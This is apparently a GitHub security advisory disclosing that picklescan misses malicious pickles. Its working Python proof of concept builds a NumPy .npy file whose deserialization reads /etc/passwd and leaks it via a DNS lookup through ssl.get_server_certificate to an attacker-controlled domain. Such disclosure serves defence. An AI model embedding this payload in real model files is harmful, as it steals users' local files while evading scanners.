GHSA-93mv-x874-956g

Summary

Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.

Details

picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.

The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.

The payload executes the following steps:

• Reads sensitive local file content using linecache module
• Encodes the data for DNS exfiltration
• Constructs a malicious domain name using a third party service dnslog.cn
• Triggers a DNS resolution via ssl.get_server_certificate
• Leaks the encoded file content to the attacker

PoC

Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".

import numpy as np

def create_malicious_model():
# Define the payload class
    class DNSLogPayload:
        def __reduce__(self):
            # Step 1: read a line from /etc/passwd
            linecache = __import__("linecache")
            first_line = linecache.getline("/etc/passwd", 1).strip()

            # Step 2: Sanitize and embed it as a DNS subdomain
            subdomain = first_line.replace(":", "_").replace("/", "_")
            fqdn = f"{subdomain}.dns-logger.invalid"

            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution
            ssl_mod = __import__("ssl")
            return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))

    # Wrap the payload in a NumPy object array
    arr = np.array([DNSLogPayload()], dtype=object)

    # Save to .npy file
    np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)   

def load_model(model):
    try:
        return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
    except Exception:
        raise ValueError("Invalid file")

if __name__ == "__main__":
    create_malicious_model()
    model = "dnslog_trigger_payload.npy"
    print("[i] Loading and executing the model")
    data = load_model(model)

Impact

1. Evade detection: Bypasses the latest version of picklescan's blacklist.
2. Exfiltrate sensitive local files to an attacker controlled DNS